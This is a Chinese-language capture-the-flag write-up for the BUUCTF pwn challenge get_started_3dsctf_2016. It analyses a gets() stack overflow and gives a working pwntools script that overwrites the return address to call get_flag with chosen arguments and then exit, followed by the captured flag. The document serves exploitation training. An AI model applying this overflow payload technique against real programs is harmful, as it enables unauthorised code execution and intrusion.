ctf-pwn_buu-get_started_3dsctf_2016题解
正向分析
主函数
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4; // [esp+4h] [ebp-38h]
printf("Qual a palavrinha magica? ", v4);
gets(&v4);
return 0;
}
目标函数
目标函数第11行位于0x80BC388
void __cdecl get_flag(int a1, int a2)
{
int v2; // eax
int v3; // esi
unsigned __int8 v4; // al
int v5; // ecx
unsigned __int8 v6; // al
if ( a1 == 814536271 && a2 == 425138641 )
{
v2 = fopen("flag.txt", "rt");
v3 = v2;
v4 = getc(v2);
if ( v4 != 255 )
{
v5 = (char)v4;
do
{
putchar(v5);
v6 = getc(v3);
v5 = (char)v6;
}
while ( v6 != 255 );
}
fclose(v3);
}
}
逆向分析
因此只要在gets的时候通过溢出把返回地址修改为0x80BC388
即可得到答案
payload计算得应该为b'a'*(0x38+4)+p32(0x80BC388)
行不通,
学长:
因为get_flag函数执行完了之后会有return,但是栈上的数据已经被弄坏了。
return到错误地址,程序就坏掉了。
经过查询有两种做法
- 使用exit()避免程序坏掉(下面的做法)
- mprotect绕过,然后运行shellcode
下面用第一种做法
#!/usr/bin/env python
# coding=utf8
from pwn import *
context.log_level = 'debug' # 显示调试的信息
p = remote('node3.buuoj.cn', 26158)
# bin = ELF('./',checksec=False)
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
pass
# payload = b'a'*(0x38+4) # +p32(0x80BC388)
payload = b'a'*56
payload += p32(0x080489A0) + p32(0x0804E6A0)
payload += p32(0x308CD64F) + p32(0x195719D1)
# p.recv()
# p.recvuntil('Qual a palavrinha magica? ') # 收到某个字符后继续执行否则sleep
p.sendline(payload)
# raw_input() # 用来断在开始的位置
# gdb.attach(p) # 可以用动态调试
p.interactive() # 监听和用户输入模式
得到flag:b'Qual a palavrinha magica? flag{cf124ffb-7ef8-4d34-817f-5286a51a4205}\n'
flag:flag{cf124ffb-7ef8-4d34-817f-5286a51a4205}